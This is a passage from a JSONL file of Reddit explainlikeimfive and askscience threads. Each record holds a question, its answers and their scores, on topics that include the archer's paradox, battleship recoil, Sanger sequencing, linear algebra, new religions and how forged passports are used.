Katrina. ", "Lots of debris was moved off site to Fresh Kill landfill in Staten Island. Then they could continue searching for human remains and conduct forensic analysis of debris. Some materials have also been removed for memorials and museums."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Rescue_and_recovery_effort_after_the_September_11_attacks"], [], []]}
{"q_id": "9fbtix", "title": "what is the archer's paradox?", "selftext": "I've been reading about it, but I still don't quite get it, could someone please help me understand.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9fbtix/eli5_what_is_the_archers_paradox/", "answers": {"a_id": ["e5vab7b", "e5vdaf9", "e5vzebq", "e5wowp9"], "score": [294, 31, 2, 2], "text": ["It's a little difficult to describe in words (without visuals), but I'll give it a go.\n\nWhen you aim at a target with a bow, you align the center of your weapon with the target and you aim up or down depending on distance. In this case, the \"weapon\" is the bow itself, not the arrow. \n\nWhen the arrow is released, it begins to travel forward. Almost immediately, the presence of the bow itself starts to push that arrow to the left. This is because bows are solid matter, and arrows are solid matter, and two solid objects can't occupy the same space at the same time. The arrow rubs alongside the bow and out to the left (in the standard firing position).\n\nIt's a paradoxical idea because we know that arrows can be fired precisely, and the deflection caused by the \"Archer's Paradox\" should cause it to fire left. Do archers actually account for this, and constantly aim slightly to the right? \n\nWell, no. The thing is, arrows aren't rigid. They're really flexible. So, the middle of our arrow hits that bow shaft, which causes the tip and tail to flex right while the middle flexes left. Then the tail hits the shaft, and it all shifts again, sort of like how a snake weaves back and forth. Snakes sidle left and right, but end up travelling in a straight line anyway, just like arrows do. \n\nCzech out this video here if you need visuals, or a different way of explaining it. _URL_0_", "The paradox is that you would expect that since the bow is in the way of the arrow, your intuition tells you that the bow should deflect the arrow as it tries to get around it. The paradox is that it doesn't and the reason why your intuition fails is because you implicitly assume that the arrow is rigid. In reality, the arrow is flexible and so the bow bends the arrow instead of deflecting it. As a result, the arrow isn't deflected but instead wobbles while in flight due to  the bending caused by the bow.\n\n & #x200B;\n\nModern compound bows don't have this effect because the arrow flies through a hole in the center of the bow, rather than to the side of it.", "This really interesting.  I wonder how this plays out with a Japanese yumi, since the bow rotates on release?", "There\u2019s a video by smarter every day that explains it really well\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=O7zewtuUM_0"], [], [], ["https://youtu.be/O7zewtuUM_0"]]}
{"q_id": "xo294", "title": "why do people named william call themselves bill?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xo294/why_do_people_named_william_call_themselves_bill/", "answers": {"a_id": ["c5o25b2", "c5o59rj", "c5o7h71", "c5o8f7n"], "score": [25, 6, 2, 4], "text": [" > Will(iam)  >  Bill was, in fact, part of a great 13th-14th century trend of swapping some other letter for the original first letter of a name as rhyming slang. There were hundreds at the time but most have now died out. Other names resulting from this process include: Polly from Molly, Bob from Rob (from Robert), Hick and Dick (from Richard), Hodge from Roger, Molly from Mary, Sally or Sadie from Sarah, Dolly from Dorothy, Harry from Harold, Betty or Bess from Beth (from Elizabeth).\n\nfrom some forum\n", "Because Billiam sounds funny.", "Along the same line...Why do people named Richard call themselves Dick?\n\n", "Why do people named Margaret call themselves Peggy?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9sphvc", "title": "how a battleship can keep recoil of multiple cannon shots under control and not capsize or get pushed way off course.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sphvc/eli5_how_a_battleship_can_keep_recoil_of_multiple/", "answers": {"a_id": ["e8qeuha", "e8qezql", "e8qfalt", "e8qm1qv"], "score": [5, 3, 2, 2], "text": ["You\u2019re underestimating the size and weight of a battleship. Plus, it\u2019s in water. The shock is absorbed pretty well.", "They weigh tens of thousands of tons. They're literally too heavy to push over and the guns would break off first. The guns also have shock absorbers to collect the recoil force and dissipate it over time. ", "A US WWII battleship weighs 57,500 tons (52M kg).  That's a huge mass.  Plus, it's in water and the low center of gravity applies a very large restoring force to right the ship is guns try to tilt it, which the don't (except at very low elevations) because they thrust through the CG.  Pushing a 887 ft (270 m) wide object through the water is super difficult.", "They do roll and they do get pushed when they fire full broadsides. However the amount is negligable for ship movement perspective and only relevant to aiming.\n\nThere are a lot of answers on how much a battleship moves from full broadsides, but its generally agreed to be negligable if it moves lateraly at all. \n\nHere is a video of the [USS Missouri firing full broadsides](_URL_0_) At what looks to be 30 degrees. Since the ship is underway its a little difficult to tell but it seems that the motion of the water plays more of a role in the ships lateral movement and roll then firing the guns multiple times. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/XKCXgzBDp8w"]]}
{"q_id": "1vtr99", "title": "why are terrorist groups threatening to bomb the sochi olympics? and which ones?", "selftext": "I know that recently there was a bomb threat, and they identified a woman to look out for. But I'm not understanding why terrorist groups want to bomb the olympics. Is there really that much controversy?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vtr99/eli5_why_are_terrorist_groups_threatening_to_bomb/", "answers": {"a_id": ["cevq8em", "cevr3s2", "cevsbx0", "cevsj5d", "cevss3x", "cevth3c"], "score": [2, 3, 6, 12, 20, 5], "text": ["It's a huge event, the large number of people in attendance become targets for terrorists, it's similar to attacking a sporting event like the Super Bowl in the US but on an international level", "Well at least a part of these terrorist groups has a grudge against Russia so they want to undermine its position in the world by proving it can't protect people during such an event.", "The 2010 Winter Olympics had up to 3.8 Billion people watching globally, and 1.6 million people were physically there. Throw in the huge number of diplomats, and you have an amazing target for terrorism, especially with the whole \"Russia is a dick\" matter", "Parts of the Russian Federation are Muslim, including  Dagestan and Chechnya.  These states want to be more independent and Russia doesn't want them to be so there is ongoing conflict.   Sochi is very near this Muslim area, in the Caucasus, on the Black Sea.  It isn't far from Turkey, Iran, Iraq, etc.  \n\nMuslim terrorists from these areas were responsible for the Boston Marathon bombing, and for the Beslan School Massacre in which 380 people died in 2004, as well as many other incidents. \n\nIt was kind of a crazy idea to locate the Olympics in Sochi.  ", "TL;DR - \n\nThe current security threat comes from Chechen insurgent groups waging acts of terror in retribution for the Russian army's brutal campaign in Chechnya, resulting in the near total destruction of the city of Grozny, the deaths of approx. 50,000 civilians and conflict lasting nearly 9 years. \n----\n\n\nBackground:\nThe Soviet Union broke apart, leading Chechen separatists to declare independence in 1991.  \n\nWar was fought between Russia and Chechnya for control of Chechnya.  After fierce fighting, the Russians used heavy armor and air strikes to raze the city of Grozny to rubble, seizing control of Chechnya.  Their methods were brutal.  \n\nThe Chechens are very nationalist and include strong pockets of Islamists.  Resentment over the recent wars, the devastation of cities, the incredible cost in lives, and ruthless methods employed by the Russian army, has led to a protracted low intensity conflict waged against Russia by Chechen insurgent groups, manifested as acts of terrorism.\n\nThe \"Black Widows\" referred to frequently by the media are, in fact, widowed women who lost their partner to the Russian army or security forces during the Chechen conflict or intelligence apparatus targeting Chechen insurgent groups since.  They have been trained and equipped to act as suicide bombers.  \n\n\nRussian-Chechen conflict quick guide:\n_URL_1_\n\n\"Black Widows\" explainer:\n_URL_0_\n\n\n\n", "For some reason Russia decided to host this Olympics in Sochi wich is located in the Kaukasus region of Russia wich is the home base of radical terrorist groups that want independance for the region. \n\nIt would be like hosting the next World Cup in Damascus... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Shahidka", "http://www.policymic.com/articles/36619/russia-chechnya-conflict-a-quick-guide"], []]}
{"q_id": "140h98", "title": "Here is a gif of 3 months of fetal facial development. There are some distinctly animal like-forms presented here. That implies a kind of evolutionary microcosm. Is this so, or is this just an illusion?", "selftext": "[Here is the gif in question](_URL_1_)\n\nIt's from a video from [this](_URL_0_) program.\n\nAnd sorry about the misplaced hyphen in the title.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/140h98/here_is_a_gif_of_3_months_of_fetal_facial/", "answers": {"a_id": ["c78ryle", "c78tl8o"], "score": [17, 13], "text": ["If you're onot already familiar with the phrase, google \"*ontogeny recapitulates phylogeny*\". That's what you're asking about.", "When I was taught embryology, our lecturer used lots of examples of how the foetal human begins simply and becomes more complex and he brought in many animal examples to illustrate the simpler forms  and show how they 'hold the fort' at maintaining foetal physiology while more complex structures develop (for example, a single-chamber heart which can squeeze fluid around a forming circulatory system developing into a two-chamber heart which performs the job better, developing into a four-chamber heart...). \n\nHowever, he stressed that the animal examples were there to illustrate the structures, not to show or suggest that the human foetus has a 'fish' stage, or any other point on the evolutionary chain. \n\nSo essentially: yes, it's an illusion of evolution."]}, "title_urls": [], "selftext_urls": ["http://www.bbc.co.uk/programmes/b01102yg", "http://gifs.gifbin.com/072012/1343148096_bbc_one__human_face_development_in_the_womb__1_to_3_months.gif"], "answers_urls": [[], []]}
{"q_id": "d01dew", "title": "how does your stomach determine when to throw your food back up? (like for food poisoning or something) and how come it'll digest the food but then you have diarrhea instead? if it was bad, shouldn't you have thrown it up before it got to the intestines?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d01dew/eli5_how_does_your_stomach_determine_when_to/", "answers": {"a_id": ["ez4wxwg", "ez51stu", "ez578yl", "ez87wcc"], "score": [120, 95, 39, 8], "text": ["Your body vomits when it senses various different threats. These threats can take the form of toxic chemicals or stress hormones in the blood, swaying motions, or an upset stomach. Chemicals and hormones are detected by the brain\u2019s chemoreceptor trigger zone (CTZ), swaying motions are detected by the inner ear, while an upset stomach is identified by the vagus nerve. Once the signal for a need to vomit arrives at the CTZ, it sets off a chain reaction.\n\nIn the Brainstem - The chemoreceptor trigger zone (CTZ) receives a stimulus that might warrant vomiting. The vomiting centre begins a choreographed sequence of actions.\n\nThe  Salivary glands -  Your mouth suddenly begins producing extra saliva. This is slightly alkaline and forms a buffer to protect your mouth and teeth from incoming stomach acid.\n\nThe Diaphragm - You take a deep breath to avoid getting vomit in your lungs, then the diaphragm contracts in a few short pulses, squeezing the stomach to create pressure.\n\nThe Glottis - The glottis closes, sealing the airway. Nothing enters or leaves the lungs. Diaphragm contractions without vomiting cause dry heaves.\n\nAbdominal muscles - The abdominal muscles contract to further increase pressure. The pyloric sphincter at the bottom of the stomach is held closed. The only way out is upwards.\n\nThe Skin - The sympathetic nervous system raises your heart rate and makes you sweat across your whole body, to shed the heat from this sudden exertion.\n\n & #x200B;\n\nsource : [_URL_0_](_URL_0_)", "For substances that are perceived as acutely toxic to the stomach, you will throw up immediately (e.g. syrup of ipecac will irritate the gastric mucosa). For substances that trigger the CTZ (described in another post), they will induce vomiting a little bit later because the substance needs to enter the bloodstream first and cross the blood brain barrier.\n\nFor the remainder of \"things that make you sick,\" - which is largely limited to infections - they will often produce a 'toxin' of sorts (e.g. C. diff) which only is released once the substance makes its way into the small bowel/colon (remember, food doesn't sit in your stomach for very long. Very little absorption happens there). Bacteria that aren't killed off by the stomach acid will multiply rapidly in your GI tract. So by the time the bacteria/virus/toxins start to cause their damage, they are well in their way into the small bowels. You can't purge your bowels north, so you purge them south.", "Commenting for the diarrhea bit:\n\nDiahrrea is when your body throws up out your butt. This is why it's mostly water. If your body detects an irritant or some other pathogen it will signal to have your body fill your intestines with water, flushing out whatevers inside. This is why diahrrea causes dehydration. Your body uses a large quantity of water to flush your guts out, so it doesnt have time to be absorbed by your intestines.", "u/jiggity_gee had the best ELI5 answer for this\n\nSo your bowels are like a long train track and your food is like a set of cars on the track. Transit time between Point A, your mouth, and Point B, the chute, is a bit flexible but normally operates on a regularly scheduled basis.\n\nWhen you eat, you put cars on the track and send them to Point B. As these cars go to Point B, they lose passengers (nutrients) at various points in the thin tunnel portion (small intestine). The journey isnt complete and the journey has already altered the shape of the car pretty significantly giving a rusty color. Once in the larger portion of the tunnel, the cars are checked for stray passengers and are hosed down a bit so that transition out of Point B isn't so bad. Sometimes, the train cars park juuust outside the gates of Point B so they can exit at the best time for the operator (toilet).\n\nNow, all of this goes fucking nuts when you load a bad set of train cars at Point A. The track sensors located everywhere along the track, detect this alien set of cars and sends a distress call to the Supervisor (your brain). The Supervisor wants to handle the situation without having to phone the Manager (your consciousness) about the craziness on the tracks and also wants to make sure you never know it was on the tracks. It has to make a choice now: send it back to Point A violently and somewhat painfully risking tearing the tracks, or send it to Point B as fast as fuck? Depending on where it's located on the track, it'll choose the best route.\n\nLet's use the destination Point B. The Supervisor hits the panic button and puts all the train cars that are on the track (in your body) on overdrive. The tunnels are flooded with water and lubricant to speed all the cars up and get them the hell out of there as quickly as possible. Cars collide with each other, and previously well formed cars are just flooded with water and lubricant that they are just a soggy, shadowy reminder of their former glory state.\n\nThe Media (pain) hears about the car collisions immediately begins filming live the high speed, flooded train cars out of control. They want to knos how an alien set of train cars were put on the tracks and they want someone to pay for such carelessness. The Manager is just watching the horror unfold on Live TV but cannot do anything to stop it, because the Supervisor was deaf and he had not installed a means of communicating with him after hours in the office.\n\nI hope this answers your question.\n\nTL;DR when you get diarrhea, everything gets pushed out, one way or another. There are no passing lanes.\n\nSource: medical student"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.sciencefocus.com/the-human-body/what-happens-in-my-body-when-i-vomit/"], [], [], []]}
{"q_id": "6yxzkf", "title": "why there are not any new popular religions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6yxzkf/eli5_why_there_are_not_any_new_popular_religions/", "answers": {"a_id": ["dmr0t8a", "dmr2fks"], "score": [37, 3], "text": ["Define new.\n\nMormonism is fairly new as far as religions go and in the areas it is expanding it is completely new.\n\nScientology is fairly new and started only a few decades ago.\n\nThere are lots of popular \"gurus\" and such in India.  \n\nFalun Gong has between 10-70 million followers.\n\nAll sorts of New Age BS started in the 60's and a lot of it got popular.\n\nUnitarianism started in the 60's.\n\nThey come and go.", "I would disagree with the premiss. No of the largest 6 in the word are less the 1400 years old but 7 Falun Gong is 60 years old and 8 Sikhism is ~500 years old (That is if Falun Gong is considered a religion). It would be surprising if the larges on was old since they have hade time to grow.\n\nFalun Gong is likely the fastest to reach 100 million but it is not that fare to compare that way because of the increased population on earth. The world population was only  ~170 when Christianity was founded and 200 milion when Islam was funded\n\nScientology is a example of a new religion founded in 1956 and have between 40,000 to 200.0000 members. The number is contested and the 200,000 was for 2001 and it has declined to take a example know in the west\n\nCaodaism found in Vietnam in 1926 has 4-6 million followers.\n \nFalun Gong with origins in 1950s China with 80-100 million followers can be considered a religion even if the don't them self, the reason i partly that religion was not popular by the government of communist China\n\nTenrikyo with origins in 1838  japan from 1838 has 5 million followers\n\nBah\u00e1'\u00ed Faith if from 1844 in Persia with 5-7 million followers\n\nCheondoism from 1812 Korea has 3-4 millions followers depending on how you trust stats from North Korea\n\nH\u00f2a H\u1ea3o from 1939 Vietnam has 1.5\u20133\t\n\nThose except for Scientology was from Medium-sized religions on a [Major religious groups wiki page](_URL_0_) and was founded since 1800\n\nSome even argue that Mormonism is different enough from Christianity to be a separate religion.\n\nA thing to notice with religions is that most of them are varians and takes ideas for other religions. There is a reason that Judaism, Christianity and Islam is known as Abrahamic religions and Christianity was considered a sect within Judaism in the beginning. There might be sect today that in the future might be considered independent religions.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Major_religious_groups"]]}
{"q_id": "2ysqsb", "title": "linear algebra", "selftext": "Hi! \nI'm studying linear algebra,  but it's very difficult. I have a professor who has never taught before, and I'm just not understanding anything. I get calculus, but not this. What the heck is linear algebra, and what is it good for? \n\nP.S. The Wikipedia article is way over my head. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ysqsb/eli5_linear_algebra/", "answers": {"a_id": ["cpckpp9", "cpcm2s3", "cpcpgae"], "score": [2, 6, 3], "text": ["In algebra and calculus, you focus a lot on complex curves that deal with 2 or maybe 3 dimensions. Linear algebra is all about simple curves that deal with a potentially large number of dimensions. It's got a ton of applications, particularly with computers because it turns out that computers suck at calculus and are really good at linear algebra. Computer graphics is all linear algebra (projecting a 3D space onto a 2D monitor). It can be used to compress images, and to help represent big data with singular value decomposition. ", "Linear algebra is simply how you solve systems of *linear* equations (those without any exponents like squares) where you have more than one variable and more than one equation.\n\nIn the most common case, you'll have n variables and n equations, and you'll represent the numbers as a matrix.\n\nHere are some practical uses of linear algebra.\n\nSuppose you have some data from a jeweler, where each data point is the size in carats of a diamond, and the price it sold for. [Example](_URL_0_)\n\nThe relationship looks *linear* - i.e. it looks like you could draw a line through it. If you could, you could come up with a simple formula for the price, like: price = a * carats + b, where a and b are constants.\n\nHow do you figure out the *best* value for those constants?\n\nOne way is *least squares* - find the values of a and b such that the sum of the square of the difference between the actual price and predicted price is minimized.\n\nWhen you try to turn this into an equation, the problem is that there are two variables! How do you solve for two variables at the same time? Luckily, you have two variables but you also have more than one equation. Essentially every data point becomes its own equation. Using Calculus, you turn this into two equations with two variables, and then you use linear algebra to solve for a and b.\n\nSecond problem: Google PageRank is intuitively defined this way: for any given webpage P, consider all of the pages that link to it. For each page L that links to P, take L's pagerank divided by the total number of outgoing links, and add that number to P's pagerank.\n\nThink of it as if each link from a page is like a vote for that page. The more links a page has, the less each vote is worth. However, the higher the original page's PageRank, the more that vote is worth.\n\nSo if your page has a lot of links to it, that makes it very prominent and have a high PageRank. But if you just have one or two links but they're from other pages with very high PageRank, that makes it prominent too.\n\nNow the problem, as you can see, is that this definition is *recursive* - the definition of PageRank depends on already knowing the PageRank of every other page! How do you solve it?\n\nSuppose there are n pages on the Internet and we make a huge n x n matrix. We put a 1 in position (i, j) if page i links to page j, and a 0 otherwise. It turns out that using linear algebra to solve for the first *eigenvector* of this matrix is the same thing as solving for each page's PageRank.\n\nSo in a sense, the key to Google's search algorithm is linear algebra.\n\nAnd it all starts with a really simple problem: how do you solve n equations with n variables? Everything else you learn is just techniques for how to solve that, and ways to use that to solve more complicated and more powerful problems.\n", "Two major things are introduced. One is vectors. Basically you split a magnitude and direction into components - or in the other direction - components add up to a single magnitude into a direction. The simplest example, and one you've probably already run into in basic physics, might be speed vs velocity. Velocity has a directional component, and velocity can be split up into velocity in different directions. E.g. in a 2-dimensional problem, you may you be going 25 mph in a NNE direction, but you can also break that up into you're going 20 mph north and 15 mph east which combines to 25 mph. And this could be extended for many dimensions. If you're an airplane, now you have a z-axis component. So now instead of that simple physics problem where speed = acceleration multiplied by time, now you have three sets of those equations that are all interrelated. And linear algebra both handles vectors (and vector operations) as well as solving sets of equations like that.\n\nThe other is matrices and matrix operations which can do a number of things. Matrices can represent a series of equations, or a series of vectors, or they may represent shapes/planes, or other stuff. Let's start with the first. The easiest example of why to use matrices to solve a series of equations is a least-squares fit. Basically lets say you have a bunch of data points or observations, and there's a definite trend, what's the best fit line? [Here's a picture](_URL_1_). This is such a common problem there's no end of examples.\n\nA raster image is easily represented as a matrix. A raster is just a series of rows and columns of pixels and a matrix can be written as a series of rows and columns with values. Same exact thing basically. Thus a lot of the matrix operations can be applied to rasters to do things like rotate, flip, shear, or whatever. As you can imagine this is super common in image-processing and stuff like photoshop.\n\nFinally you have shapes. Let's go back to the vector example. A 2-d vector can be visualized as a line. A 3-d vector then is a line that can also tilt up and down in 3-d space. Now imagine three 3-d lines that point to various locations and it's not the vector part we're interested in now, we see a vector more just like a set of coordinates, and these locations are the vertices for a triangle, [like so](_URL_0_). You can imagine it being defined by three points, one at (1, 0, 0), one at (0, 1, 0), and one at (0, 0, 1) with those representing coordinates in the form: (x, y, z). We can also stack those points into a 3x3 matrix. Now matrix operations can do fun things with those shapes, similar to the raster example, where you can rotate, scale, and do a bunch of other transforms on that shape with a single matrix operation. This kind of stuff comes up often, like the raster example but in 3d, in say, 3d graphics.\n\nNow that I've mentioned a few of the really tangible and hopefully a little more \"fun\" application, the truth is you're going to be spending a lot of time eating your vegetables first, which means a lot of boring, repetitive, and often abstract exercises with matrices and matrix operations, but that's just how it is. Hopefully at least keeping those end-goals in mind will keep it relevant enough to stay interesting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.stat.yale.edu/Courses/1997-98/101/scatex.gif"], ["http://spiderinnet1.typepad.com/.a/6a0153928ee38e970b019b02376a44970d-800wi", "http://pingswept.org/img/sample.png"]]}
{"q_id": "5jml1k", "title": "how does sanger sequencing work?", "selftext": "I don't understand how the use of fluorescent ddNTPs and gel electrophoresis leads to being able to sequence DNA.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jml1k/eli5_how_does_sanger_sequencing_work/", "answers": {"a_id": ["dbhg51b"], "score": [4], "text": ["From the vocabulary in your question, I'm going to assume I don't have to explain DNA polymerase, primers, or the basic concept of PCR-like reactions. Let me know if you want some more background on any of these.\n\n----\n\nThe important thing about a ddNTP is that in can be added to a DNA strand by DNA polymerase, but no dNTPs can be attached to it. For this reason, whenever a ddNTP is incorporated, it terminates synthesis of the DNA strand at that position.\n\nThe Sanger sequencing reaction starts with many copies of the DNA fragment of interest. Traditionally, you get this by cloning your DNA of interest into plasmids, although you can also obtain it by PCR if you can make primers (say, if you are resequencing or validating next-gen seq results).\n\nIn addition to DNA polymerase and MgCl2, the sequencing reaction contains the DNA fragment to be sequenced as the template DNA, primers to just one end of the template, and ddNTP/dNTPs at a 1:100 ratio with each ddNTP labeled with a different fluorescent dye (e.g. ddGTP = red, ddCTP = green, etc). This reaction mix is then cycled like a normal PCR, which replicates the DNA template.\n\nHowever, remember that whenever a ddNTP is incorporated, it terminates synthesis of that particular DNA strand. When the template is replicated in the reaction, some strands will be terminated on the very first base, while others will be terminated on the second, others on the tenth, others on the 346th, etc. If you start with enough DNA and run enough cycles, by the end you will have *a large population of DNA fragments terminated at every single base.*\n\nYou then use electrophoresis to force these fragments through capillaries, which separates them by size. The smallest fragments (those that were terminated earliest) come through first, with the larger fragments following. This process can separate the fragments with single-base resolution, so that at the end of the capillary, fragments of only one size are passing by at a time. \n\nAt the end of the capillary, an optical sensor detects the color of the fluorescence. The first color the sensor sees is from DNA fragments that terminated on the first base. If the first base was G and ddGTPs were labeled red, the color will be red. The second color is from fragments that terminated on the second base. If the second base was C and ddCTPs were labeled green, the color will be green. And so on. In this way, by tracking the fluorescent color in the capillary as the reaction products are forced through it, you can find out the sequence of the fragment you replicated in the reaction.\n\nLet me know if there is anything that isn't clear to you - I would be happy to elaborate!\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ueyql", "title": "How is it that freezing an object can help to eliminate odors that it might give off?", "selftext": "I work in a food distribution company, and one of the things that we have is raw salmon.\n\nNormally, I can't stand the smell of raw fish, but I noticed that keeping them frozen (we have to store them in the freezer to keep them fresh) all but eliminates the smell and makes them immeasurably easier to handle. \n\nHow dies this work?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ueyql/how_is_it_that_freezing_an_object_can_help_to/", "answers": {"a_id": ["cehf2u2"], "score": [8], "text": ["So before answering this question you have to know why do we smell certain things.\n\nSmell is a very direct sense. In order for you to smell something, molecules from that thing have to make it to your nose. Everything you smell, therefore, is giving off molecules -- whether it is bread in the bakery, onions, perfume, a piece of fruit or whatever. **Those molecules are generally light, volatile (easy to evaporate) chemicals that float through the air into your nose.** A piece of steel has no smell because nothing evaporates from it -- steel is a non-volatile solid.\n(_URL_0_)\n\nSo when you want to smell something molecules from that object have to evaporate and come in contact with your nose. With lowering the objects temperature molecules in it will have lower energy and a lot of those molecules won\u00b4t be able to evaporate (Same goes with water. You need to heat the water, if you want it to evaporate quickly) resulting in smaller amount of molecules coming in contact with your nose which means that the smell won\u00b4t be as strong as it would be at higher temperatures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://science.howstuffworks.com/life/human-biology/question139.htm"]]}
{"q_id": "2didjh", "title": "how are criminals able to make fake yet usable identities and passports to get around (onto airplanes etc.)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2didjh/eli5_how_are_criminals_able_to_make_fake_yet/", "answers": {"a_id": ["cjpszo8", "cjptes8"], "score": [7, 3], "text": ["As long as your ID has the proper basic format, most people don't look too closely.  This includes people whose job it is to verify your identity.  The easiest way to get away with this ^(pure speculation) would be to make your ID for somewhere foreign.  You want to board a flight in the United States?  Fake a European passport.  Get into a Canadian bar?  Fake a Texas driver's license.\n\nID checkers *should* have a book somewhere accessible that shows samples of legitimate IDs from around the world.  But if your fake is close enough, and isn't one that they deal with on a regular basis, they will probably let it pass.  Especially if it's a busy time.", "Creating a fake passport good enough to pass scrutiny at a major western airport would range from extremely difficult to impossible, especially with the introduction of passports containing RFID chips and computers to verify the information on them. So if someone wants to travel under a false identity the most likely thing to do would be to use a stolen passport. It's far easier (though by no means easy) to alter the details in a genuine, stolen passport, than to create a new one from scratch.\n\nThis is one reason why pickpockets and thieves target foreign tourists -- a stolen US or EU passport can be sold for a considerable sum of money on the black market. Quite apart from its use as a fake identity for criminals, it can also be used by would-be illegal immigrants to try to enter a country legitimately."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "92ggmz", "title": "orbital molecular theory", "selftext": "Eli5 orbital molecular theory and where in the world the pairing and antipairing orbitals are formed, meaning as on what plane.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/92ggmz/eli5_orbital_molecular_theory/", "answers": {"a_id": ["e35k9k0", "e35qgyj"], "score": [4, 3], "text": ["Before I write stuff for this, can you maybe give a bit of background on how much you know about atomic orbitals themselves?", "Not sure how to ELI5 this one but here goes. \n\nIn hybridisation theory the orbitals that each atom have are roughly the same when as single atoms and as bonded with other atoms. These orbitals will mix together (hybridise) but stay roughly the same. This works very well for simple molecules and is good for predicting things in organic chemistry. As a theory it is however regarded as a convenient lie. MO is vastly more accurate. \n\nMolecular orbital (MO) theory says screw that. Takes all the electrons from the atoms in their atomic state, sticks the atoms into a new configuration (molecule), mixes the electrons in a big pot into an electron soup and then pours the electron soup over the entire new molecule. Where the electron soup pools and collects will depend on the atoms in the molecule and their configuration. If the soup collects between two atoms then that is a bonding orbital as the negative charge of the electron density holds the two atoms together. If it collects behind two atoms then it is non bonding as the negative charge is pulling them further away. \n\nAs forming bonds results in a lower energy state most of the bonding orbitals are lower in energy than the non bonding orbitals. The precise configuration of the pools of soup can be determined by solving the wave function of a given molecular orbital. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3tjmrg", "title": "Do quantum particles experience time dilation?", "selftext": " ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3tjmrg/do_quantum_particles_experience_time_dilation/", "answers": {"a_id": ["cx6qcl9", "cx6xknn"], "score": [23, 3], "text": ["Yes, we know this for two reasons:  \n\n1. Classical objects do and they are still quantum objects.\n\n2. We know individual quantum particles do such as muons produced in the upper atmosphere. You can experimentally determine this by calculating their half life, you will find it differs from the half life of muons at rest compared to you.  \n\nI lied, there's not just two reasons, but hundreds. Quantum electrodynamics alone is our most accurately tested theory in physics and it represents the marriage of quantum mechanics and special relativity so essentially any prediction in it requires the compatibility of everything SR says.", "YES, muons were actually part of the reason we found out  about time dilation. They should decompose in the upper atmosphere but because of their speed the only are in the atmosphere for less than 1/2 of the time we perceive them to be.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3dkxdk", "title": "What would be the best material to spin a spinning top on?", "selftext": "Shape / material / polishing method?\n\nTypically enthusiasts spin on a lens of some kind (double concave, 75mm) or a flat plate with very slight curvature at the edges. Some use shaving mirrors.\n\nWhat does science use? What would be the best surface for a hand-thrown top [such as one of these](_URL_0_)?\n\nThe contact is silicon carbide in that picture but typically machined tops have [instrument grade contact points](_URL_1_) of ruby / sapphire or hard ceramics.\n\nThanks for taking a look!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dkxdk/what_would_be_the_best_material_to_spin_a/", "answers": {"a_id": ["ct685y5"], "score": [3], "text": ["I'd say the best is [a magnet](_URL_0_). The gyroscopic effect of the top keeps one magnet balanced above another. Without friction, it can spin for much longer. I wonder if they make any that are kept in vacuum chambers."]}, "title_urls": [], "selftext_urls": ["http://www.jsburlys.com/media/ecom/prodlg/top2.jpg", "http://i.imgur.com/vthrY6l.jpg"], "answers_urls": [["https://en.wikipedia.org/wiki/Spin-stabilized_magnetic_levitation"]]}
{"q_id": "2w4keb", "title": "what's up with the thigh gap thing?", "selftext": "I guess some people really find it attractive? Why did it suddenly gain popularity over the past few years? I didn't used to see anything about it at all.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2w4keb/eli5whats_up_with_the_thigh_gap_thing/", "answers": {"a_id": ["coninew", "conj65s", "conjstd", "conkll8", "conkoin", "conlqwb", "conn01e", "conncsz", "cono3d0", "conosx4", "conq1oo", "conuyul"], "score": [23, 4, 8, 3, 8, 2, 2, 48, 15, 3, 3, 5], "text": ["Straight from Wikipedia: \n\nA thigh gap in women is a space between the inner thighs when standing upright with knees touching.[1] Some women aspire to have a thigh gap because they believe it will increase their attractiveness, with some considering it a sign of femininity and fragility.[2] Some go as far as to say it symbolizes \"the ideal body shape\".[3] Reportedly, some teenage girls have taken the view that the bigger the gap, the more beautiful the girl.[4] However, some have resorted to extreme dieting[5] and surgery[6] in order to try to obtain it.[7] Critics are concerned that young women may develop an eating disorder by trying to obtain a body shape that is unnatural for them.[8]\n\n-It's just one of those things. Like the lip bite on reddit, it's sexy because we have decided its sexy, regardless if it actually looks good on you or not. ", "I've seen some 